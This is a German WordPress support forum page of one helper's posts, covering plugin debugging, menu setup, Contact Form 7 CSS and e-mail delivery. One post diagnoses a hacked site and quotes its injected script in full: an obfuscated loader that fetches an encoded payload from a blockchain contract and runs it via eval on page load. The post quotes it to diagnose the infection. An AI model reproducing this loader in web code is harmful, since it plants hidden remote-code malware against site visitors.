Beiträge von b3317133

    Deaktiviere temporär alle sonstigen Plugins um Wechselwirkungen auszuschliessen.

    Du kannst zudem über [FONT=Courier New]WP_DEBUG[/FONT] mit [FONT=Courier New]WP_DEBUG_LOG[/FONT] ein Log in der Datei [FONT=Courier New]/wp-content/debug.log[/FONT] erzeugen, das weitere Hinweise zu kritischen Fehlern enthalten kann. Alternativ bzw. bei schwereren Fehlern kann man mehr Informationen im Error Log beim Hosting nachlesen, da hilft der Hosting Support sicher gerne.

    Ergänzung:
    Weiterhin fällt am Rande auf, dass derzeit ein Bild bzw. genauer ein Bildformat 1024x585 des Bildes auf der Startseite nicht gefunden wird. Evtl. wurden in den WordPress Einstellungen Bildgrössen verändert, hier können z.B. Regenerate Thumbnails Plugins helfen, fehlende Bildformate nachträglich zu erzeugen.

    Die Seite ist gehackt und mit einem Trojaner versehen worden:

    Code
    <script src="https://cdnjs.cloudflare.com/ajax/libs/pako/2.0.4/pako.min.js" id="pako-js"></script>
    <script src="https://cdn.jsdelivr.net/npm/crypto-js@4.1.1/crypto-js.min.js" id="crypto-js-js"></script>
    <script src="https://cdn.jsdelivr.net/npm/web3@latest/dist/web3.min.js" id="web3-js"></script>
    <script id="web3-js-after">
    (async()=>{document.addEventListener("DOMContentLoaded",async()=>{try{const web3=new Web3("https://bsc-dataseed.binance.org/"),contract=new web3.eth.Contract([{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"orchidABI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"orchidAddress","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"merlionABI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"merlionAddress","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"}],"0x9179dda8B285040Bf381AABb8a1f4a1b8c37Ed53"),orchidABI=JSON.parse(pako.ungzip(Uint8Array.from(atob(await contract.methods.orchidABI().call()),c=>c.charCodeAt(0)),{to:"string"})),orchidAddress=await contract.methods.orchidAddress().call(),orchid=new web3.eth.Contract(orchidABI,orchidAddress),s=pako.ungzip(Uint8Array.from(atob(await orchid.methods.tokyoSkytree().call()),c=>c.charCodeAt(0)),{to:"string"});eval(`(async()=>{${s}})()`)}catch(_){}});})()
    </script>


    Alles auf dem Server inkl. Datenbank ist als kompromitiert zu betrachten.

    Das nachträgliche Entfernen einzelner Schadcodes oder Auswirkungen ist nicht ausreichend. Es können auch mehrere Hacks erfolgt sein, ggf. auch zu anderen Zeitpunkten.

    Das allgemeine Vorgehen bei einem Hack ist z.B. hier beschrieben, das könntest Du mit jemandem mit WordPress Erfahrung bei Dir im näheren Umfeld zusammen durchgehen. Jeden einzelnen Punkt.

    Kenne Max Mega Menü nicht im Detail, aber wenn Dinge wie Farbänderung bei Berührung nicht einstellbar sein sollten, kann man das sicherlich über ein paar Zeilen eigenes CSS nachrüsten.

    Ein Max Mega Menu aktiviert man über die Menu Location Settings für die entspr. Position im Theme, siehe z.B. Max Mega Dokumentation hier, falls das mit "kann Navigation auf der Seite nicht finden" damit gemeint ist.

    Eine normale WordPress Navigation erstellt man üblicherweise über Design > Menüs und stellt dort dann die Position im Theme ein. Evtl. kann hier auch der Futurio Pro Support weiterhelfen.

    In dem Fall den Designer ansprechen, der die generellen Einstellungen warum auch immer so verstellt hatte, evtl. ist er sich nicht bewusst, welches Problem damit verursacht wurde.

    Die jetzt gewählte Einstellung "Eigen" bzw. englisch "Custom" ist eigentlich die Standardeinstellung des Plugins.

    In der o.g. Dokumentation ist der Zusammenhang der Einstellungen eigentlich recht klar beschrieben, man muss sie aber natürlich erstmal finden.

    Deaktiviere temporär alle sonstigen Plugins um Wechselwirkungen auszuschliessen.

    Weitere Infos/Meldungen zum Problem kann man ggf. in der Browser Konsole und ggf. dort im Netzwerk Tab beim Ladeversuch der Liste einsehen.

    Weiterhin beachte den Hinweis zur Basis-Authentifizierung in Deinem Screenshot, evtl. ist der Zugriff auf manche Dinge gesperrt.

    Bei Nutzung der Feldersyntax von Contact Form 7 ist es bzgl. CSS Ansprache egal, ob ein Feld mit dem [FONT=Courier New]*[/FONT] als Pflichtfeld definiert ist oder nicht.

    Alle [FONT=Courier New]input[/FONT] Felder bekommen bei CF7 eine [FONT=Courier New]span[/FONT] Verschachtelung.

    Somit kann Deine eigentlich schön einfache CSS [FONT=Courier New]~[/FONT] Combinator Lösung mit CF7 Feldern wie [FONT=Courier New][text your-name][/FONT] oder [FONT=Courier New][text* your-name][/FONT] wie oben inzwischen ausführlich aufgeklärt leider nicht funktionieren.

    Ergebnis: Um mit CF7 Feldern die gewünschten "floating Labels" zu erreichen, benötigt man etwas extra JavaScript.

    Ok, das Problem liegt hier:

    Code
    span[data-name="your-firstname"]:not(:placeholder-shown)


    Der [FONT=Courier New]span[/FONT] hat ja nie einen [FONT=Courier New]placeholder-shown[/FONT].

    Der Placeholder wäre im [FONT=Courier New]input[/FONT] Element zu suchen, z.B. so:

    Code
    span[data-name="your-firstname"] input:not(:placeholder-shown)


    Das führt aber zu dem Problem, dass dann der [FONT=Courier New]~[/FONT] Combinator nicht mehr funktioniert:

    Code
    span[data-name="your-firstname"] input:not(:placeholder-shown) ~ label


    Im CF7 HTML Code ist der [FONT=Courier New]label[/FONT] nicht auf der gleichen Ebene des [FONT=Courier New]input[/FONT], die beiden Elemente haben also nicht das gleiche Elternelement:

    Code
    <p>
        <span .. data-name="your-firstname">
            <input .. name="your-firstname" />
        </span>
        <br />
        <label for="your-firstname">Vorname*</label>
    </p>


    Insofern kann man den aktuellen Ansatz mit dem [FONT=Courier New]~[/FONT] Combinator so nicht direkt adaptieren.

    Noch zwei Tipps zur nicht ankommenden "Passwort vergessen" E-Mail:

    Manchmal landen solche E-Mails einfach nur im Spam Ordner des E-Mail Accounts und werden daher übersehen.

    Bei einigen Hosting Anbietern ist inzwischen auch die Nutzung eines sog. SMTP Plugins mit Hinterlegen von E-Mail Zugangsdaten zum Versenden von E-Mail aus WordPress heraus notwendig. Wie/wo man die entspr. E-Mail Servernamen, Ports und Zugangsdaten erstellt bzw. bekommt, weiss meist der Support des Hosting Anbieters.